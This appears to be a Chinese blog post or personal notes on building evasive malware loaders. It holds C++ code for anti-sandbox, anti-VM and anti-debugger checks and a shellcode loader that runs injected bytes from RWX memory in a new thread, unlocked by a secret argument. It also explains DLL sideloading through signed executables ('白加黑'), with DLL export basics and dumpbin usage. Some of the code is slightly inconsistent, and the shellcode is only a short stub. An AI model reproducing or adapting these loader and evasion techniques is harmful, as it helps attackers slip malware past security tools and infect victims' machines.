检测开机时间 1 2 3 4 5 6 7 8 9 int checkStartTime () { ULONG uptime = GetTickCount(); if (uptime >= 10 * 60 * 1000 ) { RunCode(); } else { exit (1 ); } }
检测虚拟机 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 int checkVm (char * name) { const char * list [4 ] = { "vmtoolsd.exe" ,"vmwaretrat.exe" ,"vmwareuser.exe" ,"vmacthlp.exe" }; for (int i = 0 ; i < 4 ; i++) { if (strcmp (name, list [i]) == 0 ) return -1 ; } return 0 ; } bool CheckProcess () { PROCESSENTRY32 pe32; pe32.dwSize = sizeof (pe32); HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0 ); BOOL bResult = Process32First(hProcessSnap, &pe32); while (bResult) { char ss_Name[MAX_PATH] = { 0 }; WideCharToMultiByte(CP_ACP, 0 , pe32.szExeFile, -1 , ss_Name, sizeof (ss_Name), NULL , NULL ); if (check(ss_Name) == -1 ) return false ; bResult = Process32Next(hProcessSnap, &pe32); } return true ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 #include <windows.h> #include <iostream> #include <intrin.h> #include <Iphlpapi.h> #include <Psapi.h> #include <TlHelp32.h> #include <Pdh.h> #include <string> #pragma comment(lib, "IPHLPAPI.lib" ) #pragma comment(lib, "Psapi.lib" ) #pragma comment(lib, "Pdh.lib" ) #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"" ) bool isDebuggerPresent () { return IsDebuggerPresent() || CheckRemoteDebuggerPresent(GetCurrentProcess(), nullptr); } bool checkCpuVirtualization () { int cpuInfo[4 ]; __cpuid(cpuInfo, 1 ); return (cpuInfo[2 ] & (1 << 31 )) != 0 ; } bool checkLan () { LANGID langId = GetUserDefaultUILanguage(); if (PRIMARYLANGID(langId) == LANG_CHINESE) { return false ; } else { return true ; } } bool checkProcessCount () { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0 ); PROCESSENTRY32 pe32 = { sizeof (PROCESSENTRY32) }; if (hSnapshot == INVALID_HANDLE_VALUE) { return false ; } int processCount = 0 ; if (Process32First(hSnapshot, &pe32)) { do { processCount++; } while (Process32Next(hSnapshot, &pe32)); } CloseHandle(hSnapshot); return processCount < 60 ; } bool checkCpuCount () { SYSTEM_INFO systemInfo; GetSystemInfo(&systemInfo); return systemInfo.dwNumberOfProcessors < 4 ; } bool checkStartTime () { ULONG uptime = GetTickCount(); if (uptime >= 10 * 60 * 1000 ) { return false ; } else { return true ; } }; bool checkSandboxDlls () { return GetModuleHandle(L"Cuckoo" ) || GetModuleHandle(L"vmcheck" ) || GetModuleHandle(L"SandboxieDll" ) || GetModuleHandle(L"snxhk.dll" ) || GetModuleHandle(L"vmsrvc" ) || GetModuleHandle(L"cmdvrt32" ) || GetModuleHandle(L"SbieDll.dll" ) || GetModuleHandle(L"dbghelp.dll" ); } bool checkAdminUser () { wchar_t userName[UNLEN + 1 ]; DWORD userNameSize = UNLEN + 1 ; if (GetUserName(userName, &userNameSize)) { wprintf(L"Current User: %s\n" , userName); if (wcscmp(userName, L"admin" ) == 0 ) { return false ; } else { return true ; } } else { wprintf(L"Error getting user name. Error code: %d\n" , GetLastError()); return false ; } } bool checkEnvironment () { return isDebuggerPresent() || checkCpuVirtualization() || checkStartTime() || checkLan() || checkProcessCount() || checkSandboxDlls() || checkCpuCount(); } int main () { if (checkEnvironment()) { return 1 ; } }
参数启动 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 #include <windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"" ) 口 unsigned char sc[] = "\xfc\x48\x83\xe4\xf0\xe8" ;int main (int argc, char * argv[]) { if (strcmp (argv[1 ], "dabaige" ) != 0 ) { return 1 ; } LPVOID addr = VirtualAlloc(NULL , sizeof (sc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (addr == NULL ) { return 1 ; } memcpy (addr, sc, sizeof (sc)); HANDLE hThread = CreateThread(NULL , NULL , (LPTHREAD_START_ROUTINE)addr, NULL , NULL , 0 ); WaitForSingleObject(hThread, -1 ); CloseHandle(hThread); }
这里笔者大概看了一眼直接挑了
白加黑 白 指带有有效数字签名 的exe文件
黑 指的是我们恶意代码所在的文件 ,通常是dll文件
白程序一般我们只需要寻找,不需要手动编写,黑程序才是我们需要实际编写的
所以白加黑,我们重点就两个事情,一是找白程序,二是写黑dll文件
白加黑上线原理 白程序(exe) –> dll –> dllmain/导出函数中的代码
问题是,如何寻找白名单exe、需要哪些会加载外部dll的白名单exe。
找到白名单exe之后,就是恶意dll的编写了。
DLL 简单来说就是动态连接库 ,是一种Windows操作系统中的共享文件,包含一系列可供程序公用的函数、数据和资源。DLL文件中存放的是各类程序的函数实现过程,这里可以区分一下Linux下的.so文件,当函数需要调用函数是需要先加载DLL,然后取得函数的地址,最后进行调用。使用DLL文件的好处是不需要在运行前加载所有的代码,只有在程序需要某个函数的时候才从DLL中取出 。dll文件和exe文件原因都是PE文件。
dl文件结构
看一下文件结构,有framework.h、pch.h、dllmain.cpp、pch.cpp 文件。
framework.h文件
framework.h文件用于包含项目中需要使用的头文件,可以看到已经默认包含了Windows头文件:
1 2 3 4 5 6 #pragma once #define WIN32_LEAN_AND_MEAN #include <windows.h>
pch.h文件
pch.h是预编译标题文件,dll的导出函数一个在此处定义:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 #ifndef PCH_H #define PCH_H #include "framework.h" #endif
dllmain.cpp文件
dllmain.cpp文件包含程序的入口点,在dllmain.cpp中现实的在pch.h中定义函数,当然也可以在其他cpp文件中实现,如pch.cpp等。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #include "pch.h" BOOL APIENTRY DllMain ( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break ; } return TRUE; }
pch.cpp文件
一般存放我们的导出函数
DLLMain DLLMain是动态链接库的可选入口点,也就是常说的入口函数
当系统启动或者终止进程或线程时,他会使用进程的第一个线程为每个加载的dll调用入口点函数。当dll使用LoadLibrary(Ex)加载和使用FreeLibrary函数卸载dll时,系统还会调用该函数的入口点函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: if (lpvReserved != nullptr) { break ; } break ; } return TRUE; }
编译dll 导出函数
pch.cpp中编写一个导出函数
1 2 3 4 5 6 7 #include "pch.h" int sum (int a, int b) { return a + b; }
需要在pch.h中定义该函数
1 2 3 4 5 6 #ifdef Dll1_EXPORTS #define API_DECLSPECKM __declspec(dllexport) #else #define API_DECLSPECKM __declspec(dllimport) #endif extern "C" API_DECLSPECKM int sum (int a, int b) ;
解释一下,前面这段宏定义一个了宏Dll1_EXPORTS则定义API_DECLSPECKM为__declspec(dllexport)
反之则为定义API_DECLSOECKM为 __declspec(dllimport)
注意,第一个宏Dll1_EXPORTS的名称就是dll的名称Dll1后面加上_EXPORTS。
定义导出的函数需要使用__declspec(dllexport)
或__declspec(dllimport)
进行修饰,无论使用哪一个都可以编译成功,但是它们有一些细微的差别,其中__declspec(dllimport)
比__declspec(dllexport)
通用性跟好。
所以默认一般时使用__declspec(dllimport)
点击生成
查看dll导出函数
dumpbin是vs自带的一款工具,可以查看obj文件、lib库、dll库、exe可执行文件,使用方法如下
1 2 3 4 5 6 7 8 9 10 # 查看 dll 库中包含哪些函数 dumpbin /exports a.dll # 查看 exe 中加载了哪些动态库 dumpbin /imports a.exe # 查看 lib 库中包含哪些函数 dumpbin /all /rawdata:none a.lib # 查看 obj 文件中包含哪些函数 dumpbin /all /rawdata:none d.obj # 查看 dll 头信息 dumpbin /headers a.dll
简单的使用,记得找一下这个dumpbin.exe文件
1 C:\Program Files (x86 )\Microsoft Visual Studio \2019\BuildTools \VC \Tools \MSVC \14.29.30133\bin \Hostx64 \x64 \dumpbin.exe
还可以直接使用工具 来查看,这里笔者还是建议直接使用工具来查看。
raw和bin的区别
kali开启SSH 1 2 sudo systemctl enable sshsudo systemctl start ssh
公网IP是什么? 什么是公网IP?
公网IP就是可以直接到达的IP地址,这个时候可以通过公网ip去对他人进行访问,于此同时,他人也能反过来访问用户。公网ip主要分为五个类别,除了一个暂时保留的类别以外,包括了大型的公网ip、正规机构的公网ip、普通小公司或者学校的公网ip,以及一些特殊领域的公网ip。不同的公网ip的类别的网段是不同的,而通过分类,也能够对ip更好的进行划分。
公网ip和内网IP的区别?
公网ip和内网ip的IP地址网段不同。观察公网IP的IP地址金和内网IP的地址就能够发现,二者之间的网段是有一定的区别的,这也是用来区分二者的主要特征。且公网的IP的网段相较于内网的IP网段,会更加广泛。
公网ip可直接连接。公网IP不需要连接路由器或者宽带。服务器会为大家直接分配IP地址,所以在信号分布的地方可以直接使用。而内网ip需要通过路由等等分配ip地址,否则是无法使用的。
工具分享
[分享][原创]发布一个自己写的小工具,方便转换字符与bin以及执行shellcode-编程技术-看雪-安全社区|安全招聘|kanxue.com
感谢作者分享~